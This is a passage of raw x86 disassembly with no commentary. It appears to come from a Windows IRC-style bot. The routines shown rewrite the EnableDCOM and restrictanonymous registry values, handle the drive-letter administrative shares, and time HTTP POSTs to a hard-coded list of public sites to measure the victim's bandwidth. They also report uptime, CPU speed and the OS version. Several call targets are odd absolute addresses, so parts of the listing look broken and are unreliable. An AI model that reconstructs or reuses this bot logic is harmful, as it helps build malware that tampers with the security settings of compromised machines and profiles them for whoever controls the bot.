jz short loc_41A09E
cmp eax, 0EAh
jz short loc_41A09E
mov esi, offset off_43A0C0
loc_41A032: ; CODE XREF: sub_419E7A+21Dj
push dword ptr [esi]
push edi
call sub_418C6C
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A049
push offset dword_43A1D4
jmp short loc_41A04E
; ---------------------------------------------------------------------------
loc_41A049: ; CODE XREF: sub_419E7A+1C6j
push offset dword_43A1A8
loc_41A04E: ; CODE XREF: sub_419E7A+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A081
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A081: ; CODE XREF: sub_419E7A+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4151AD
add esi, 8
pop ecx
cmp esi, offset dword_43A0E0
jb short loc_41A032
jmp loc_41A136
; ---------------------------------------------------------------------------
loc_41A09E: ; CODE XREF: sub_419E7A+1AAj
; sub_419E7A+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A12D
loc_41A0AD: ; CODE XREF: sub_419E7A+2AFj
mov edi, [esi]
push edi
call sub_41D817
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A122
push edi
call sub_418B59
push eax
push 0
call sub_418C6C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A0DC
push offset dword_43A184
jmp short loc_41A0E1
; ---------------------------------------------------------------------------
loc_41A0DC: ; CODE XREF: sub_419E7A+259j
push offset dword_43A158
loc_41A0E1: ; CODE XREF: sub_419E7A+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A115
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A115: ; CODE XREF: sub_419E7A+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4151AD
pop ecx
loc_41A122: ; CODE XREF: sub_419E7A+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A0AD
xor edi, edi
loc_41A12D: ; CODE XREF: sub_419E7A+22Dj
push [ebp+var_8]
call dword_4CB6E4
loc_41A136: ; CODE XREF: sub_419E7A+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A001
lea eax, [ebp+var_214]
push offset dword_43A130
push eax
call sub_41B886
pop ecx
pop ecx
pop ebx
jmp short loc_41A16C
; ---------------------------------------------------------------------------
loc_41A159: ; CODE XREF: sub_419E7A+177j
lea eax, [ebp+var_214]
push offset dword_43A100
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A16C: ; CODE XREF: sub_419E7A+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A18A
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A18A: ; CODE XREF: sub_419E7A+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4151AD
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_419E7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A19E proc near ; CODE XREF: sub_419E1A:loc_419E61p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CB724, ebx
push esi
jnz loc_41A2CC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_41A229
mov ax, word_438E5C
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB678
test eax, eax
jz short loc_41A20B
push offset dword_43A4B0
jmp short loc_41A210
; ---------------------------------------------------------------------------
loc_41A20B: ; CODE XREF: sub_41A19E+64j
push offset dword_43A494
loc_41A210: ; CODE XREF: sub_41A19E+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_41A23C
; ---------------------------------------------------------------------------
loc_41A229: ; CODE XREF: sub_41A19E+36j
lea eax, [ebp+var_220]
push offset dword_43A2E8
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A23C: ; CODE XREF: sub_41A19E+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A25B
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A25B: ; CODE XREF: sub_41A19E+A1j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_41A2C5
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB678
test eax, eax
jz short loc_41A2A7
push offset dword_43A454
jmp short loc_41A2AC
; ---------------------------------------------------------------------------
loc_41A2A7: ; CODE XREF: sub_41A19E+100j
push offset dword_43A41C
loc_41A2AC: ; CODE XREF: sub_41A19E+107j
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_41A2DF
; ---------------------------------------------------------------------------
loc_41A2C5: ; CODE XREF: sub_41A19E+E2j
push offset dword_43A3E0
jmp short loc_41A2D1
; ---------------------------------------------------------------------------
loc_41A2CC: ; CODE XREF: sub_41A19E+13j
push offset dword_43A1F8
loc_41A2D1: ; CODE XREF: sub_41A19E+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A2DF: ; CODE XREF: sub_41A19E+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A2FE
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A2FE: ; CODE XREF: sub_41A19E+144j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
cmp dword_4CB74C, ebx
pop ecx
jnz loc_41A473
push edi
mov esi, offset off_43A0C0
mov edi, 200h
loc_41A322: ; CODE XREF: sub_41A19E+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_418BC0
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A33D
push offset dword_43A3C0
jmp short loc_41A342
; ---------------------------------------------------------------------------
loc_41A33D: ; CODE XREF: sub_41A19E+196j
push offset dword_43A398
loc_41A342: ; CODE XREF: sub_41A19E+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A371
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A371: ; CODE XREF: sub_41A19E+1B7j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
add esi, 8
pop ecx
cmp esi, offset off_43A0D0
jb short loc_41A322
nop
call near ptr 2820C73h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A45B
loc_41A39C: ; CODE XREF: sub_41A19E+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A450
cmp bl, 41h
jz loc_41A450
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CB6B4
cmp eax, 3
jnz short loc_41A450
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_418BC0
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A40E
push offset dword_43A3C0
jmp short loc_41A413
; ---------------------------------------------------------------------------
loc_41A40E: ; CODE XREF: sub_41A19E+267j
push offset dword_43A398
loc_41A413: ; CODE XREF: sub_41A19E+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A443
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A443: ; CODE XREF: sub_41A19E+289j
lea eax, [ebp+var_220]
push eax
call sub_4151AD
pop ecx
loc_41A450: ; CODE XREF: sub_41A19E+206j
; sub_41A19E+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A39C
loc_41A45B: ; CODE XREF: sub_41A19E+1F8j
lea eax, [ebp+var_220]
push offset dword_43A368
push eax
call sub_41B886
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A486
; ---------------------------------------------------------------------------
loc_41A473: ; CODE XREF: sub_41A19E+173j
lea eax, [ebp+var_220]
push offset dword_43A100
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A486: ; CODE XREF: sub_41A19E+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A4A4
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_41A4A4: ; CODE XREF: sub_41A19E+2EBj
lea eax, [ebp+var_220]
push eax
call sub_4151AD
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A19E endp
; =============== S U B R O U T I N E =======================================
sub_41A4B8 proc near ; CODE XREF: sub_41A6AF+CBp
; sub_41A6AF+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A4B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4D2 proc near ; CODE XREF: sub_41A6AF+D4p
; sub_41A6AF+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A6AB
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B590
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AAFA
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A6AB
push 50h
call dword_4CB654
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CB6D4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A6AB
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz loc_41A6AB
push 32003h
call sub_41CFC5
mov edi, dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41B8D8
call sub_41B8E2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B590
push 32000h
push esi
push ebx
call sub_41B590
push ebx
call sub_41AFE0
push 323EAh
mov ebx, eax
call sub_41CFC5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41B886
push [ebp+var_8]
push esi
call sub_41BEC0
push offset asc_433F14 ; "\r\n"
push esi
call sub_41BEC0
push esi
call sub_41AFE0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41A62B
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A5FB
; ---------------------------------------------------------------------------
loc_41A5F8: ; CODE XREF: sub_41A4D2+157j
mov eax, [ebp+arg_0]
loc_41A5FB: ; CODE XREF: sub_41A4D2+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41A60B
push [ebp+var_C]
jmp short loc_41A60C
; ---------------------------------------------------------------------------
loc_41A60B: ; CODE XREF: sub_41A4D2+132j
push ebx
loc_41A60C: ; CODE XREF: sub_41A4D2+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz short loc_41A692
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41A5F8
loc_41A62B: ; CODE XREF: sub_41A4D2+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_42770C
fst [ebp+arg_0]
fcomp flt_427708
fnstsw ax
sahf
jnz short loc_41A653
fld1
fstp [ebp+arg_0]
loc_41A653: ; CODE XREF: sub_41A4D2+17Aj
push [ebp+var_4]
call dword_4CB6EC
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_427704
fmul flt_427700
call sub_41C798
loc_41A68D: ; CODE XREF: sub_41A4D2+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A692: ; CODE XREF: sub_41A4D2+149j
push [ebp+var_4]
call dword_4CB6EC
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
loc_41A6AB: ; CODE XREF: sub_41A4D2+19j
; sub_41A4D2+42j ...
xor eax, eax
jmp short loc_41A68D
sub_41A4D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AF proc near ; CODE XREF: sub_401ACD+2E62p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A4B8
push [ebp+eax*4+var_3C]
call sub_41A4D2
push 8
mov esi, eax
call sub_41A4B8
push [ebp+eax*4+var_3C]
call sub_41A4D2
add esp, 10h
test esi, esi
jz short loc_41A7B0
test eax, eax
jz short loc_41A7AC
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A7B2
; ---------------------------------------------------------------------------
loc_41A7AC: ; CODE XREF: sub_41A6AF+F4j
mov ebx, esi
jmp short loc_41A7B2
; ---------------------------------------------------------------------------
loc_41A7B0: ; CODE XREF: sub_41A6AF+F0j
mov ebx, eax
loc_41A7B2: ; CODE XREF: sub_41A6AF+FBj
; sub_41A6AF+FFj
push 0Ch
call sub_41A4B8
push [ebp+eax*4+var_6C]
call sub_41A4D2
push 0Ch
mov edi, eax
call sub_41A4B8
push [ebp+eax*4+var_6C]
call sub_41A4D2
add esp, 10h
test edi, edi
jz short loc_41A7EA
test eax, eax
jz short loc_41A7E6
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A7EC
; ---------------------------------------------------------------------------
loc_41A7E6: ; CODE XREF: sub_41A6AF+12Ej
mov esi, edi
jmp short loc_41A7EC
; ---------------------------------------------------------------------------
loc_41A7EA: ; CODE XREF: sub_41A6AF+12Aj
mov esi, eax
loc_41A7EC: ; CODE XREF: sub_41A6AF+135j
; sub_41A6AF+139j
push 6
call sub_41A4B8
push [ebp+eax*4+var_1C]
call sub_41A4D2
push 6
mov edi, eax
call sub_41A4B8
push [ebp+eax*4+var_1C]
call sub_41A4D2
add esp, 10h
test edi, edi
jz short loc_41A824
test eax, eax
jz short loc_41A820
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A826
; ---------------------------------------------------------------------------
loc_41A820: ; CODE XREF: sub_41A6AF+168j
mov ecx, edi
jmp short loc_41A826
; ---------------------------------------------------------------------------
loc_41A824: ; CODE XREF: sub_41A6AF+164j
mov ecx, eax
loc_41A826: ; CODE XREF: sub_41A6AF+16Fj
; sub_41A6AF+173j
xor eax, eax
test ebx, ebx
jz short loc_41A833
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41A836
; ---------------------------------------------------------------------------
loc_41A833: ; CODE XREF: sub_41A6AF+17Bj
push 2
pop edi
loc_41A836: ; CODE XREF: sub_41A6AF+182j
test esi, esi
jz short loc_41A83E
add eax, esi
jmp short loc_41A83F
; ---------------------------------------------------------------------------
loc_41A83E: ; CODE XREF: sub_41A6AF+189j
dec edi
loc_41A83F: ; CODE XREF: sub_41A6AF+18Dj
test ecx, ecx
jz short loc_41A847
add eax, ecx
jmp short loc_41A848
; ---------------------------------------------------------------------------
loc_41A847: ; CODE XREF: sub_41A6AF+192j
dec edi
loc_41A848: ; CODE XREF: sub_41A6AF+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A508
push eax
call sub_41B886
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_26C]
push eax
call sub_4151AD
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AF endp
; =============== S U B R O U T I N E =======================================
sub_41A88C proc near ; CODE XREF: sub_401ACD+25A1p
; sub_401ACD+2A11p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 2690AA5h
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DB920
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A88C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8F5 proc near ; CODE XREF: sub_416F1B+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 26D066Bh
test eax, eax
jz short loc_41A988
cmp [ebp+var_90], 4
jnz short loc_41A95E
cmp [ebp+var_8C], esi
jnz short loc_41A946
cmp [ebp+var_84], 1
jnz short loc_41A939
push 1
pop esi
loc_41A939: ; CODE XREF: sub_41A8F5+3Fj
cmp [ebp+var_84], 2
jnz short loc_41A988
push 1
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A946: ; CODE XREF: sub_41A8F5+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41A953
loc_41A94F: ; CODE XREF: sub_41A8F5+78j
push 2
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A953: ; CODE XREF: sub_41A8F5+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41A988
jmp short loc_41A978
; ---------------------------------------------------------------------------
loc_41A95E: ; CODE XREF: sub_41A8F5+2Ej
cmp [ebp+var_90], 5
jnz short loc_41A988
cmp [ebp+var_8C], esi
jz short loc_41A94F
cmp [ebp+var_8C], 1
jnz short loc_41A97C
loc_41A978: ; CODE XREF: sub_41A8F5+67j
push 3
jmp short loc_41A987
; ---------------------------------------------------------------------------
loc_41A97C: ; CODE XREF: sub_41A8F5+81j
cmp [ebp+var_8C], 2
jnz short loc_41A988
push 7
loc_41A987: ; CODE XREF: sub_41A8F5+4Fj
; sub_41A8F5+5Cj ...
pop esi
loc_41A988: ; CODE XREF: sub_41A8F5+25j
; sub_41A8F5+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41A8F5 endp
; =============== S U B R O U T I N E =======================================
sub_41A98D proc near ; CODE XREF: sub_41AA43+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A995: ; CODE XREF: sub_41A98D+2Fj
; sub_41A98D+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call near ptr 2680000h
nop
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41D410
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A995
jb short loc_41A9C4
cmp ebx, esi
ja short loc_41A995
loc_41A9C4: ; CODE XREF: sub_41A98D+31j
push 0
push 64h
push edi
push ebx
call sub_41D480
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AA37
jb short loc_41A9E3
cmp esi, 50h
jnb short loc_41A9E8
loc_41A9E3: ; CODE XREF: sub_41A98D+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41A9E8: ; CODE XREF: sub_41A98D+54j
test ecx, ecx
ja short loc_41AA37
jb short loc_41A9F3
cmp esi, 47h
jnb short loc_41A9F8
loc_41A9F3: ; CODE XREF: sub_41A98D+5Fj
push 42h
xor edx, edx
pop eax
loc_41A9F8: ; CODE XREF: sub_41A98D+64j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA03
cmp esi, 37h
jnb short loc_41AA08
loc_41AA03: ; CODE XREF: sub_41A98D+6Fj
push 32h
xor edx, edx
pop eax
loc_41AA08: ; CODE XREF: sub_41A98D+74j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA13
cmp esi, 26h
jnb short loc_41AA18
loc_41AA13: ; CODE XREF: sub_41A98D+7Fj
push 21h
xor edx, edx
pop eax
loc_41AA18: ; CODE XREF: sub_41A98D+84j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA23
cmp esi, 1Eh
jnb short loc_41AA28
loc_41AA23: ; CODE XREF: sub_41A98D+8Fj
push 19h
xor edx, edx
pop eax
loc_41AA28: ; CODE XREF: sub_41A98D+94j
test ecx, ecx
ja short loc_41AA37
jb short loc_41AA33
cmp esi, 0Ah
jnb short loc_41AA37
loc_41AA33: ; CODE XREF: sub_41A98D+9Fj
xor eax, eax
xor edx, edx
loc_41AA37: ; CODE XREF: sub_41A98D+4Dj
; sub_41A98D+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41A98D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA43 proc near ; CODE XREF: sub_401ACD+276Fp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_43D808
mov [ebp+var_CC], 94h
nop
call near ptr 26D066Bh
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AACA
cmp [ebp+var_C4], ebx
jnz short loc_41AAA6
cmp [ebp+var_BC], 1
jnz short loc_41AA90
mov [ebp+var_4], offset dword_431974
loc_41AA90: ; CODE XREF: sub_41AA43+44j
cmp [ebp+var_BC], 2
jnz loc_41AB45
mov [ebp+var_4], offset dword_431970
jmp short loc_41AB16
; ---------------------------------------------------------------------------
loc_41AAA6: ; CODE XREF: sub_41AA43+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AAB8
mov [ebp+var_4], offset dword_43196C
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAB8: ; CODE XREF: sub_41AA43+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AB06
mov [ebp+var_4], offset dword_431968
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AACA: ; CODE XREF: sub_41AA43+33j
cmp [ebp+var_C8], 5
jnz short loc_41AB06
cmp [ebp+var_C4], ebx
jnz short loc_41AAE4
mov [ebp+var_4], offset dword_431964
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAE4: ; CODE XREF: sub_41AA43+96j
cmp [ebp+var_C4], 1
jnz short loc_41AAF6
mov [ebp+var_4], offset dword_431960
jmp short loc_41AB0D
; ---------------------------------------------------------------------------
loc_41AAF6: ; CODE XREF: sub_41AA43+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AB0D
loc_41AB06: ; CODE XREF: sub_41AA43+7Cj
; sub_41AA43+8Ej
mov [ebp+var_4], offset dword_431958
loc_41AB0D: ; CODE XREF: sub_41AA43+73j
; sub_41AA43+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AB45
loc_41AB16: ; CODE XREF: sub_41AA43+61j
cmp [ebp+var_B8], bl
jz short loc_41AB45
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_41B886
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41AB45: ; CODE XREF: sub_41AA43+54j
; sub_41AA43+D1j ...
mov ax, word_437F2C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB534
